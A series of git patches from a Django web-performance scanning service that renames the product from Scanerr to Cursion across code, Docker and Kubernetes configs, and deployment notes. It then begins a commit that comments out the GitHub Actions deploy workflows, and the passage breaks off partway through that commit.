+    pre_content = 'The Cursion performance report you requested has finished processing. \
          Now, just click the link below to view and download the PDF.'
-    content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://scanerr.io/booking'
-    subject = f'{first_name}, your Scanerr Report is Ready'
-    title = f'{first_name}, your Scanerr Report is Ready'
-    pre_header = f'{first_name}, your Scanerr Report is Ready'
+    content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://cursion.dev/booking'
+    subject = f'{first_name}, your Cursion Report is Ready'
+    title = f'{first_name}, your Cursion Report is Ready'
+    pre_header = f'{first_name}, your Cursion Report is Ready'
     button_text = 'View Your Report'
     email = email
     object_url = report_url
-    signature = f'- Landon R | CEO <a href="https://scanerr.io">@Scanerr</a>'
+    signature = f'- Landon R | CEO <a href="https://cursion.dev">@Cursion</a>'
     greeting = f'Hi {first_name},'
 
     message_obj = {
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index bf3ba480..8750df44 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -1,7 +1,7 @@
 from .driver import driver_init, driver_wait, quit_driver
 from ..models import Site, Scan, Test, Mask
 from skimage.metrics import structural_similarity
-from scanerr import settings
+from cursion import settings
 from PIL import Image as I, ImageChops, ImageStat
 from datetime import datetime
 from asgiref.sync import sync_to_async
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index ac659bf7..b609c9e2 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -1,5 +1,5 @@
 from ..models import *
-from scanerr import settings
+from cursion import settings
 from openai import OpenAI
 import time, os, json, uuid, random, boto3
 
@@ -171,7 +171,7 @@ def build_issue(self):
             )
         
         # clean recommendation
-        recommendation = recommendation.replace('localhost', 'app.scanerr.io')
+        recommendation = recommendation.replace('localhost', 'app.cursion.dev')
 
         # build details from components
         details = intro + main_issue + recommendation
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 0f77277a..48e092ad 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,6 +1,6 @@
 import subprocess, json, uuid, boto3, os, requests
 from ..models import Site, Scan
-from scanerr import settings
+from cursion import settings
 
 
 
@@ -134,7 +134,7 @@ def lighthouse_api(self) -> dict:
     def process_data(self, stdout_json: dict) -> dict:
         """ 
         Accepts JSON data from either CLI or API method 
-        and parses into usable Scanerr data.
+        and parses into usable Cursion data.
 
         Expects the following:
             stdout_json: <dict> or json from output
diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 768783d0..ae0dfe41 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -1,5 +1,5 @@
 from ..models import *
-from scanerr import settings
+from cursion import settings
 from reportlab.lib.pagesizes import letter
 from reportlab.lib.units import inch
 from reportlab.lib.colors import HexColor
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index af0d64a4..37ff09b7 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -9,7 +9,7 @@
 from .yellowlab import Yellowlab
 from .imager import Imager
 from datetime import datetime
-from scanerr import settings
+from cursion import settings
 import os, asyncio, uuid, boto3
 
 
@@ -337,7 +337,7 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
             test = Test.objects.get(id=test_id)
             Tester(test=test).run_test()
             if automation_id is not None and automation_id != 'None':
-                print('running automation from `scanerr.check_scan_completion`')
+                print('running automation from `cursion.check_scan_completion`')
                 Automater(automation_id, test.id).run_automation()
 
     # returning scan
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 0685135f..ecd26399 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -1,7 +1,7 @@
 from ..models import *
 from datetime import datetime
 from .imager import Imager
-from scanerr import settings
+from cursion import settings
 from difflib import SequenceMatcher
 from .issuer import Issuer
 import os, json, random, \
diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index adfecd13..0a5bc0c3 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -10,7 +10,7 @@ def verify():
     email = os.environ.get('ADMIN_EMAIL')
     password = os.environ.get('ADMIN_PASS')
     cred = os.environ.get('CRED')
-    url = 'https://scanerr.io/api/verify'
+    url = 'https://cursion.dev/api/verify'
 
     headers = {
         "Content-Type": "application/json",
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index c464ac4f..52903297 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,6 +1,6 @@
 import subprocess, json, uuid, boto3, os, requests, time
 from ..models import Site, Scan
-from scanerr import settings
+from cursion import settings
 
 
 
@@ -154,7 +154,7 @@ def yellowlab_api(self) -> dict:
     def process_data(self, stdout_json: dict) -> dict:
         """ 
         Accepts JSON data from either CLI or API method 
-        and parses into usable Scanerr data.
+        and parses into usable Cursion data.
 
         Expects the following:
             stdout_json: <dict> or json from output
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 18634faf..a01d2be2 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -20,7 +20,7 @@
 from .serializers import *
 from ...utils.alerts import send_reset_link
 from ...tasks import send_invite_link_bg, send_remove_alert_bg
-from scanerr import settings
+from cursion import settings
 import requests, os, subprocess, secrets
 
 
@@ -277,7 +277,7 @@ def jwt_login(*, user: object) -> str:
     """
     Gets JWTs for passed "user" and builds a 
     redirect url for returning user params back to 
-    Scanerr.client
+    Cursion.client
     
     Expect: {
         'user': object
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index bcea5525..244aae01 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -9,7 +9,7 @@
 from django.contrib.auth.models import User
 from datetime import timedelta, datetime
 from ...models import Account, Member
-from scanerr import settings
+from cursion import settings
 from .services import *
 import os, stripe, json
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 2123be8c..bb10c980 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -7,7 +7,7 @@
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
 from ..auth.serializers import AccountSerializer
-from scanerr import settings
+from cursion import settings
 import stripe
 
 
@@ -182,7 +182,7 @@ def stripe_setup(request: object) -> object:
 def stripe_complete(request: object) -> object: 
     """ 
     Confirms the Stripe Payment intent after user 
-    enters CC details on Scanerr.client - Also updates 
+    enters CC details on Cursion.client - Also updates 
     `Account` payment method.
 
     Expects: {
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 2ab6f0c1..001371ed 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -3,7 +3,7 @@
 from rest_framework.views import APIView
 from rest_framework import status
 from .services import *
-from scanerr import settings 
+from cursion import settings 
 
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6d8e4ed9..2c4dcb65 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5,9 +5,9 @@
 from ...models import *
 from rest_framework.response import Response
 from rest_framework import status
-from scanerr import celery
+from cursion import celery
 from redis import Redis
-from scanerr import settings
+from cursion import settings
 from celery import app
 from .serializers import *
 from ...tasks import *
@@ -4447,7 +4447,7 @@ def delete_report(request: object, id: str) -> object:
 
 def export_report(request: object) -> object:
     """
-    Used to create and send a Scanerr.landing 
+    Used to create and send a Cursion.landing 
     `Report` to the passed "email"  
 
     Expects: {
@@ -5704,7 +5704,7 @@ def search_resources(request: object) -> object:
 def get_home_metrics(request: object) -> object:
     """ 
     Builds metrics for account "Home" view 
-    on Scanerr.client
+    on Cursion.client
 
     Expects: {
         'request' : object
@@ -5758,7 +5758,7 @@ def get_home_metrics(request: object) -> object:
 def get_site_metrics(request: object) -> object:
     """ 
     Builds metrics for account "Site" view 
-    on Scanerr.client
+    on Cursion.client
 
     Expects: {
         'request' : object
diff --git a/app/scanerr/__init__.py b/app/cursion/__init__.py
similarity index 100%
rename from app/scanerr/__init__.py
rename to app/cursion/__init__.py
diff --git a/app/scanerr/asgi.py b/app/cursion/asgi.py
similarity index 75%
rename from app/scanerr/asgi.py
rename to app/cursion/asgi.py
index fa484bf4..80cdefbc 100644
--- a/app/scanerr/asgi.py
+++ b/app/cursion/asgi.py
@@ -1,5 +1,5 @@
 """
-ASGI config for scanerr project.
+ASGI config for cursion project.
 
 It exposes the ASGI callable as a module-level variable named ``application``.
 
@@ -11,6 +11,6 @@
 
 from django.core.asgi import get_asgi_application
 
-os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings')
+os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cursion.settings')
 
 application = get_asgi_application()
diff --git a/app/scanerr/celery.py b/app/cursion/celery.py
similarity index 83%
rename from app/scanerr/celery.py
rename to app/cursion/celery.py
index 1839e4a7..773c4997 100644
--- a/app/scanerr/celery.py
+++ b/app/cursion/celery.py
@@ -2,18 +2,18 @@
 from celery import Celery
 from celery.signals import worker_shutdown
 from django.conf import settings
-import scanerr, os, time
+import cursion, os, time
 
 
 
 
 
 
-# setting DJANGO_SETTINGS_MODULE to scanerr.settings
-os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings')
+# setting DJANGO_SETTINGS_MODULE to cursion.settings
+os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cursion.settings')
 
 # init celery
-app = Celery('scanerr')
+app = Celery('cursion')
 
 # configure namespace
 app.config_from_object('django.conf:settings', namespace='CELERY')
diff --git a/app/scanerr/settings.py b/app/cursion/settings.py
similarity index 98%
rename from app/scanerr/settings.py
rename to app/cursion/settings.py
index ae8f36da..01c00daf 100644
--- a/app/scanerr/settings.py
+++ b/app/cursion/settings.py
@@ -1,5 +1,5 @@
 """
-Django settings for Scanerr project.
+Django settings for Cursion project.
 
 Generated by 'django-admin startproject' using Django 3.2.3.
 
@@ -36,7 +36,7 @@
 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT')
 
-# Scanerr.landing API KEY
+# Cursion.landing API KEY
 LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 
 # Application definition
@@ -66,7 +66,7 @@
     'django.middleware.clickjacking.XFrameOptionsMiddleware',
     'corsheaders.middleware.CorsMiddleware',
 ]
-ROOT_URLCONF = 'scanerr.urls'
+ROOT_URLCONF = 'cursion.urls'
 TEMPLATES = [
     {
         'BACKEND': 'django.template.backends.django.DjangoTemplates',
@@ -82,7 +82,7 @@
         },
     },
 ]
-WSGI_APPLICATION = 'scanerr.wsgi.application'
+WSGI_APPLICATION = 'cursion.wsgi.application'
 
 
 # Database
diff --git a/app/scanerr/urls.py b/app/cursion/urls.py
similarity index 100%
rename from app/scanerr/urls.py
rename to app/cursion/urls.py
diff --git a/app/scanerr/wsgi.py b/app/cursion/wsgi.py
similarity index 75%
rename from app/scanerr/wsgi.py
rename to app/cursion/wsgi.py
index bc13ad63..7587bfe8 100644
--- a/app/scanerr/wsgi.py
+++ b/app/cursion/wsgi.py
@@ -1,5 +1,5 @@
 """
-WSGI config for scanerr project.
+WSGI config for cursion project.
 
 It exposes the WSGI callable as a module-level variable named ``application``.
 
@@ -11,6 +11,6 @@
 
 from django.core.wsgi import get_wsgi_application
 
-os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings')
+os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cursion.settings')
 
 application = get_wsgi_application()
diff --git a/app/manage.py b/app/manage.py
index d4057aa5..00ce80c6 100755
--- a/app/manage.py
+++ b/app/manage.py
@@ -6,7 +6,7 @@
 
 def main():
     """Run administrative tasks."""
-    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings')
+    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cursion.settings')
     try:
         from django.core.management import execute_from_command_line
     except ImportError as exc:
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 1bb2c60c..cb57041b 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -2,8 +2,8 @@ services:
 
 
   app:
-    container_name: scanerr-app
-    hostname: scanerr-app
+    container_name: cursion-app
+    hostname: cursion-app
     platform: linux/amd64
     privileged: true
     restart: always
@@ -24,8 +24,8 @@ services:
 
   
   db:
-    container_name: scanerr-db
-    hostname: scanerr-db
+    container_name: cursion-db
+    hostname: cursion-db
     image: postgres:14-alpine
     ports:
       - "5432"
@@ -36,16 +36,16 @@ services:
 
 
   redis:
-    container_name: scanerr-redis
-    hostname: scanerr-redis
+    container_name: cursion-redis
+    hostname: cursion-redis
     image: redis:alpine
     ports:
       - "6379"
 
 
   celery:
-    container_name: scanerr-celery
-    hostname: scanerr-celery
+    container_name: cursion-celery
+    hostname: cursion-celery
     platform: linux/amd64
     privileged: true
     restart: always
@@ -64,8 +64,8 @@ services:
 
 
   beat:
-    container_name: scanerr-beat
-    hostname: scanerr-beat
+    container_name: cursion-beat
+    hostname: cursion-beat
     platform: linux/amd64
     privileged: true
     restart: always
@@ -89,7 +89,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: scanerr/ylt
+    image: cursion/ylt
     ports:
       - 8383:8383
     depends_on:
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 6fbb1393..4c599098 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -2,8 +2,8 @@ services:
   
 
   app:
-    container_name: scanerr-app
-    hostname: scanerr-app
+    container_name: cursion-app
+    hostname: cursion-app
     platform: linux/amd64
     privileged: true
     restart: always
@@ -23,8 +23,8 @@ services:
 
 
   db:
-    container_name: scanerr-db
-    hostname: scanerr-db
+    container_name: cursion-db
+    hostname: cursion-db
     image:  postgres:14-alpine
     env_file:
       - ./env/.env.local
@@ -33,16 +33,16 @@ services:
   
 
   redis:
-    container_name: scanerr-redis
-    hostname: scanerr-redis
+    container_name: cursion-redis
+    hostname: cursion-redis
     image: redis:alpine
     ports:
       - "6379"
 
 
   celery:
-    container_name: scanerr-celery
-    hostname: scanerr-celery
+    container_name: cursion-celery
+    hostname: cursion-celery
     platform: linux/amd64
     privileged: true
     restart: always
@@ -61,8 +61,8 @@ services:
 
 
   beat:
-    container_name: scanerr-beat
-    hostname: scanerr-beat
+    container_name: cursion-beat
+    hostname: cursion-beat
     platform: linux/amd64
     privileged: true
     restart: always
@@ -86,7 +86,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: scanerr/ylt
+    image: cursion/ylt
     ports:
       - 8383:8383
     depends_on:
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 0b9355d0..2354a33b 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -2,8 +2,8 @@ services:
 
 
   app:
-    container_name: scanerr-app
-    hostname: scanerr-app
+    container_name: cursion-app
+    hostname: cursion-app
     restart: always
     platform: linux/amd64
     privileged: true
@@ -24,8 +24,8 @@ services:
 
   
   db:
-    container_name: scanerr-db
-    hostname: scanerr-db
+    container_name: cursion-db
+    hostname: cursion-db
     image: postgres:14-alpine
     ports:
       - "5432"
@@ -36,16 +36,16 @@ services:
 
 
   redis:
-    container_name: scanerr-redis
-    hostname: scanerr-redis
+    container_name: cursion-redis
+    hostname: cursion-redis
     image: redis:alpine
     ports:
       - "6379"
 
 
   celery:
-    container_name: scanerr-celery
-    hostname: scanerr-celery
+    container_name: cursion-celery
+    hostname: cursion-celery
     privileged: true
     restart: always
     build:
@@ -63,8 +63,8 @@ services:
 
 
   beat:
-    container_name: scanerr-beat
-    hostname: scanerr-beat
+    container_name: cursion-beat
+    hostname: cursion-beat
     privileged: true
     restart: always
     build:
@@ -87,7 +87,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: scanerr/ylt
+    image: cursion/ylt
     ports:
       - 8383:8383
     depends_on:
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 0c92d71e..9975d724 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -2,8 +2,8 @@ services:
   
 
   app:
-    container_name: scanerr-app
-    hostname: scanerr-app
+    container_name: cursion-app
+    hostname: cursion-app
     platform: linux/amd64
     privileged: true
     init: true
diff --git a/env/.env.stage.example b/env/.env.stage.example
index b9a61246..5444109f 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -3,7 +3,7 @@ SECRET_KEY = ask-for-this
 CLIENT_URL_ROOT = http://localhost:3000
 CLIENT_URL_ROOT = http://localhost:3000
 API_URL_ROOT = http://localhost:8000
-YELLOWLAB_ROOT = http://yellowlab.scanerr.io:8383
+YELLOWLAB_ROOT = http://yellowlab.example.com:8383
 LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 DJANGO_ALLOWED_HOSTS = *
 DEBUG = True
diff --git a/k8s/local/app-deployment.yaml b/k8s/local/app-deployment.yaml
index 6925432c..1b2dd72c 100644
--- a/k8s/local/app-deployment.yaml
+++ b/k8s/local/app-deployment.yaml
@@ -16,7 +16,7 @@ spec:
         - name: regcred
       containers:
         - name: app
-          image: scanerr/server:latest
+          image: cursion/server:latest
           imagePullPolicy: IfNotPresent
           ports:
             - containerPort: 8000
diff --git a/k8s/local/celery-deployment.yaml b/k8s/local/celery-deployment.yaml
index 14acc537..060a2a89 100644
--- a/k8s/local/celery-deployment.yaml
+++ b/k8s/local/celery-deployment.yaml
@@ -16,9 +16,9 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: scanerr/server:latest
+          image: cursion/server:latest
           imagePullPolicy: IfNotPresent
-          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
+          command: ["celery", "-A", "cursion", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/k8s/prod/app-cert-issuer.yaml b/k8s/prod/app-cert-issuer.yaml
index 761662e3..9c24665d 100644
--- a/k8s/prod/app-cert-issuer.yaml
+++ b/k8s/prod/app-cert-issuer.yaml
@@ -8,7 +8,7 @@ spec:
     # The ACME server URL
     server: https://acme-v02.api.letsencrypt.org/directory # https://acme-staging-v02.api.letsencrypt.org/directory
     # Email address used for ACME registration
-    email: hello@scanerr.io
+    email: hello@cursion.dev
     # Name of a secret used to store the ACME account private key
     privateKeySecretRef:
       name: letsencrypt-nginx-private-key
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index ba7beb4a..34a12314 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -17,8 +17,8 @@ spec:
       imagePullSecrets:
         - name: regcred
       containers:
-        - name: scanerr-server
-          image:  <IMAGE> # scanerr/server:49709ea #
+        - name: cursion-server
+          image:  <IMAGE> # cursion/server:49709ea #
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
index db99db32..45442731 100644
--- a/k8s/prod/app-ingress.yaml
+++ b/k8s/prod/app-ingress.yaml
@@ -10,10 +10,10 @@ spec:
   ## ensure below section is comented out on first creation ##
   # tls:
   #   - hosts:
-  #     - api.scanerr.io
+  #     - api.cursion.dev
   #     secretName: letsencrypt-nginx
   rules:
-  - host: api.scanerr.io
+  - host: api.cursion.dev
     http:
       paths:
       - backend:
diff --git a/k8s/prod/app-loadbalancer.yaml b/k8s/prod/app-loadbalancer.yaml
index f2c139cd..99115af2 100644
--- a/k8s/prod/app-loadbalancer.yaml
+++ b/k8s/prod/app-loadbalancer.yaml
@@ -265,7 +265,7 @@ kind: Service
 metadata:
   annotations:
     service.beta.kubernetes.io/do-loadbalancer-enable-proxy-protocol: 'true'
-    service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"
+    service.beta.kubernetes.io/do-loadbalancer-hostname: "api.cursion.dev"
   labels:
     helm.sh/chart: ingress-nginx-4.0.15
     app.kubernetes.io/name: ingress-nginx
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index 3113178d..1ce35625 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image: <IMAGE> # scanerr/server:49709ea # 
+          image: <IMAGE> # cursion/server:49709ea # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "beat"]
           envFrom:
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 594e6768..f8588e37 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -13,5 +13,5 @@ spec:
     - type: metrics-api
       metadata:
         targetValue: "5"
-        url: "https://api.scanerr.io/v1/ops/metrics/celery"
+        url: "https://api.cursion.dev/v1/ops/metrics/celery"
         valueLocation: "working_len"
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 808fbfcc..ff0f1e4c 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # scanerr/server:99e2252 # 
+          image: <IMAGE> # cursion/server:99e2252 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml
index 7f9203d0..e7490c5c 100644
--- a/k8s/prod/ylt-autoscaler.yaml
+++ b/k8s/prod/ylt-autoscaler.yaml
@@ -13,5 +13,5 @@ spec:
     - type: metrics-api
       metadata:
         targetValue: "10"
-        url: "https://api.scanerr.io/v1/ops/metrics/celery"
+        url: "https://api.cursion.dev/v1/ops/metrics/celery"
         valueLocation: "working_len"
\ No newline at end of file
diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml
index f41212e1..24307c2f 100644
--- a/k8s/prod/ylt-deployment.yaml
+++ b/k8s/prod/ylt-deployment.yaml
@@ -17,7 +17,7 @@ spec:
       terminationGracePeriodSeconds: 30
       containers:
       - name: yellowlab
-        image: scanerr/ylt
+        image: cursion/ylt
         env:
         - name: POD_IP
           valueFrom:
diff --git a/notes/Deployment.md b/notes/Deployment.md
index a6c08178..1b564fcb 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -1,5 +1,6 @@
-# Scanerr Deployment (single Server)
-- [Scanerr Deployment (single Server)](#scanerr-deployment-single-server)
+# Cursion Deployment (single Server)
+
+- [Cursion Deployment (single Server)](#cursion-deployment-single-server)
   - [Environment](#environment)
   - [Local](#local)
   - [Remote](#remote)
@@ -43,7 +44,7 @@ $ pip3 install virtualenv
 $ virtualenv appenv
 $ source appenv/bin/activate
 $ mkdir app
-$ git clone https://github.com/Scanerr-io/server.git
+$ git clone https://github.com/Cursion/server.git
 ```
 *Spin-up the application*
 ```shell
@@ -106,7 +107,7 @@ $ {your_ssh_key.pub} >> ~/.ssh/authorized_keys
 $ cd ~
 $ mkdir app
 $ cd app
-$ git clone git@github.com:Scanerr-io/server.git
+$ git clone git@github.com:Cursion/server.git
 ```
 *Spin-up the application*
 ```shell
@@ -142,7 +143,7 @@ $ docker exec -it <container:id> /bin/sh
 sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
 service docker start &&
 sleep 10 &&
-docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
+docker run -d --privileged --restart unless-stopped -p 8383:8383 cursion/ylt &&
 ```
 
 
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index f7f2d14d..b8660037 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -105,8 +105,8 @@ kubectl create secret docker-registry regcred --docker-server=https://index.dock
 
 ### 1. Build Dockerfile into image
 ``` shell
-docker build . -t scanerr/server:latest
-docker image push scanerr/server:latest
+docker build . -t cursion/server:latest
+docker image push cursion/server:latest
 ```
 
 
@@ -121,11 +121,11 @@ kubectl apply -f ./k8s/prod/app-loadbalancer.yaml
 ### 3. Update ingress-nginx-controler "Service file" with domain - if not already updated.
 - add the below annotation 
 ``` shell
-service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"
+service.beta.kubernetes.io/do-loadbalancer-hostname: "api.cursion.dev"
 ```
 
 
-### 4. Spin up Scanerr deployments and services
+### 4. Spin up Cursion deployments and services
 ``` shell
 kubectl apply -f ./k8s/prod/app-configs.yaml
 kubectl apply -f ./k8s/prod/redis-deployment.yaml
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 0cc19ab7..eca149a7 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -17,7 +17,7 @@ if [[ $1 == *"app"* ]]
         python3 manage.py migrate --no-input &&
         python3 manage.py create_admin &&
         python3 manage.py driver_test &&
-        gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+        gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug cursion.wsgi:application --bind 0.0.0.0:8000
     fi
     if [[ $2 == *"stage"* ]]
     then
@@ -32,7 +32,7 @@ if [[ $1 == *"celery"* ]]
   then
     python3 manage.py wait_for_db && 
     echo "pausing for migrations to complete..." && sleep 7s &&
-    celery -A scanerr worker -E --loglevel=info -O fair
+    celery -A cursion worker -E --loglevel=info -O fair
 fi
 
 # spin up celery beat
@@ -40,6 +40,6 @@ if [[ $1 == *"beat"* ]]
   then
     python3 manage.py wait_for_db &&
     echo "pausing for migrations to complete..." && sleep 7s &&
-    celery -A scanerr beat --scheduler django --loglevel=info
+    celery -A cursion beat --scheduler django --loglevel=info
 fi
 
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index 441257ec..bb9c8b85 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -1,9 +1,9 @@
 #!/bin/bash
 
-# ensure you create $SCANERR_ROOT first:
-#  echo 'export SCANERR_ROOT=<your/path/to/scanerr/root>' >> ~/.zshrc   (or ~/.bash_profile)
+# ensure you create $CURSION_ROOT first:
+#  echo 'export CURSION_ROOT=<your/path/to/cursion/>' >> ~/.zshrc   (or ~/.bash_profile)
 
-cd $SCANERR_ROOT/server &&
+cd $CURSION_ROOT/server &&
 {   
     docker compose -f docker-compose.local.yml down &&
     docker volume rm server_app server_beat server_celery &&

From 552c10d8b11348e5e61c64f1777020bc14ac0ee5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Sep 2024 14:25:19 -0600
Subject: [PATCH 738/752] pausing actions

---
 .github/workflows/dev-deploy.yaml |  64 ++++++++--------
 .github/workflows/k8s-deploy.yaml | 122 +++++++++++++++---------------
 2 files changed, 93 insertions(+), 93 deletions(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index 704b58cf..dac20bfa 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -1,34 +1,34 @@
-name: Deploy to dev
+# name: Deploy to dev
 
-# Controls when the action will run.
-on:
-  # Triggers the workflow on push request on the main branch for changes in the specified paths.
-  push:
-    branches:
-      - dev
-    paths:
-      - 'app/**'
-      - 'Dockerfile'
-      - 'Dockerfile.dev'
-      - 'docker-compose.dev.yml'
-      - '.github/workflows/**'
+# # Controls when the action will run.
+# on:
+#   # Triggers the workflow on push request on the main branch for changes in the specified paths.
+#   push:
+#     branches:
+#       - dev
+#     paths:
+#       - 'app/**'
+#       - 'Dockerfile'
+#       - 'Dockerfile.dev'
+#       - 'docker-compose.dev.yml'
+#       - '.github/workflows/**'
 
-jobs:
-  build:
-    name: Build
-    runs-on: ubuntu-latest
-    timeout-minutes: 30
-    steps:
-    - name: pulling latest dev commit and rebuilding app
-      uses: appleboy/ssh-action@v1.0.0
-      with:
-        host: ${{ secrets.DEV_HOST }}
-        username: ${{ secrets.DEV_USER }}
-        key: ${{ secrets.DEV_KEY }}
-        command_timeout: 30m
-        script: | 
-          cd ~/app
-          git pull origin dev
-          docker compose -f docker-compose.dev.yml down
-          docker volume rm app_app app_beat app_celery
-          docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
+# jobs:
+#   build:
+#     name: Build
+#     runs-on: ubuntu-latest
+#     timeout-minutes: 30
+#     steps:
+#     - name: pulling latest dev commit and rebuilding app
+#       uses: appleboy/ssh-action@v1.0.0
+#       with:
+#         host: ${{ secrets.DEV_HOST }}
+#         username: ${{ secrets.DEV_USER }}
+#         key: ${{ secrets.DEV_KEY }}
+#         command_timeout: 30m
+#         script: | 
+#           cd ~/app
+#           git pull origin dev
+#           docker compose -f docker-compose.dev.yml down
+#           docker volume rm app_app app_beat app_celery
+#           docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index ad2031de..ea3a819c 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -1,76 +1,76 @@
-# This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and
-# deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
-# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
+# # This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and
